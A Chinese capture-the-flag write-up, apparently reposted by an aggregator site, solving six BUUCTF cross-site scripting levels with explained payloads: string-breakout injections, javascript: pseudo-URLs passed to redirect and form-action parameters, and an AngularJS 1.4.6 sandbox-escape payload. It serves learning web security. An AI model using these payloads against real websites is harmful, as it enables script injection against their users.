buuctf 刷题记录 [第二章 web进阶]XSS闯关
Posted MuRKuo
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了buuctf 刷题记录 [第二章 web进阶]XSS闯关相关的知识,希望对你有一定的参考价值。
buuctf 刷题记录 [第二章 web进阶]XSS闯关
第一关
第二关
查看源代码
换个username
试试
接下来的思路是尝试闭合var username = \'\';
并和最后面的</script>
方法失败,因有一个escape函数
改用直接alert
的方式
payload:
?username=\';alert(1);//
闭合了var username =
前半个单引号,执行alert函数(因为是处于<script></script>
函数)然后闭合后面的所有css源码
第三关
不用管后面的代码,直接注释掉,开头使用了两个‘
包裹
所以使用两个\'\'
闭合即可
payload:
\'\';alert(1);//
第四关
页面10秒后会重定向
这里有一个知识点:
伪链接
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
直接javascript代码利用重定向
payload:
?jumpUrl=javascript:alert(1)
其实这关也有个暗示,就是没有username
了
if(getQueryVariable(\'autosubmit\') !== false){
var autoForm = document.getElementById(\'autoForm\');
autoForm.action = (getQueryVariable(\'action\') == false) ? location.href : getQueryVariable(\'action\');
autoForm.submit();
}else{
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
第五关
两个判断
首先接受参数autosubmit
判断autosubmit
是否等于false
不是的话,继续执行
接下来判断variable
用=
作为分隔
payload:
?autosubmit=1&action=javascript:alert(1)
第六关
这是一个
AngularJS 1.4.6框架
参考:
AngularJS XSS
因为版本是1.4.6所以需要沙箱逃逸
AngularJS Sandbox Bypasses
具体就不研究了,xss价值不太大
payload:
?username={{\'a\'.constructor.prototype.charAt=[].join;$eval(\'x=1} } };alert(1)//\');}}
以上是关于buuctf 刷题记录 [第二章 web进阶]XSS闯关的主要内容,如果未能解决你的问题,请参考以下文章